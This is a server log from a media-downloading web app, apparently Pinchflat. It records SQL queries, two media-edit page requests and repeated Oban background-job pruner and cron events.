1 [] 02:12:07.949 [debug] QUERY OK source="settings" db=0.2ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:07.950 [debug] QUERY OK source="media_profiles" db=0.6ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:12:07.951 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.4ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:12:07.953 [info] Sent 200 in 11ms 02:12:07.954 [info] Sent 200 in 12ms 02:12:25.632 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:32.497 [info] GET /sources/3/media/3302/edit 02:12:32.497 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3302", "source_id" => "3"} Pipelines: [:browser] 02:12:32.497 [info] GET /sources/3/media/3305/edit 02:12:32.498 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3305", "source_id" => "3"} Pipelines: [:browser] 02:12:32.498 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1362.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3302] 02:12:32.498 [debug] QUERY OK source="media_items" db=0.2ms idle=855.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3305] 02:12:32.499 [debug] QUERY OK source="settings" db=0.3ms idle=855.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.499 [debug] QUERY OK source="settings" db=0.2ms idle=856.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.500 [debug] QUERY OK source="settings" db=0.3ms idle=362.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.500 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.500 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.501 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:32.502 [info] Sent 200 in 5ms 02:12:32.503 [info] Sent 200 in 5ms 02:12:55.634 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.263 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:25.636 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:55.638 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.264 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:25.640 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:55.642 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.265 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:25.644 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:55.646 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.266 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:25.648 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:55.650 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.267 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:25.652 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:55.654 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.268 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:25.656 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:55.658 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.269 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:25.660 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:55.662 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.270 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:25.664 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:55.666 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.271 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:25.667 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:55.670 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.272 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:25.672 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:55.674 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.273 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:25.676 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:55.678 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.274 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:25.680 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:55.682 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.275 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:25.684 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:55.686 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.276 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:25.688 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:55.690 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.278 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:25.692 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:55.694 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.279 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:25.696 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:55.698 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.280 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:25.700 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:55.702 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.281 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:25.704 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:55.706 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.282 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:25.708 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:55.710 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.283 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:25.712 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:55.714 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.284 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:25.716 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:55.718 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.285 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:25.720 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:55.722 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.286 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:25.724 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:55.726 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.287 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:25.728 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:55.731 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.288 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:25.733 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:55.735 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.289 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:25.737 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:55.739 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.290 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:25.741 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:55.743 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.291 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:25.745 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:55.747 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.292 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:25.749 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:55.751 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.293 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:25.752 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:55.755 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.294 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:25.757 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:55.759 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.295 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:25.761 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:55.763 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.296 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:25.765 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:55.767 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.297 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:25.769 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:55.771 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.298 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:25.773 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:55.775 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.299 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:25.776 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:55.778 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.300 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:25.781 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:55.783 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.301 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:25.785 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:55.787 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.302 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:25.789 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:55.791 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.303 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:25.793 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:55.795 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.304 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:25.797 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:55.799 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.305 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:25.801 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:55.803 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.306 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:25.805 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:55.807 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.307 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:25.809 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:55.811 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.308 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:25.813 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:55.815 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.309 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:25.817 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:55.819 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.310 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:25.821 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:55.823 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.311 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:25.825 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:55.827 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.312 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:25.829 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:55.831 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.313 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:25.833 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:55.835 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.314 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:25.837 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:55.839 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.315 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:25.841 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:55.843 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.316 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:25.845 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:55.847 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.317 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:25.849 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:55.851 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.318 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:25.853 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:55.855 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.319 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:25.857 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:55.859 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.320 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:25.861 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:55.863 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.321 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:25.865 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:55.867 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.322 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:25.869 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:55.871 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.323 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:25.873 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:55.875 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.324 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:25.877 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:55.880 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.325 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:25.882 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:55.884 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.326 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:25.886 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:55.888 [info] 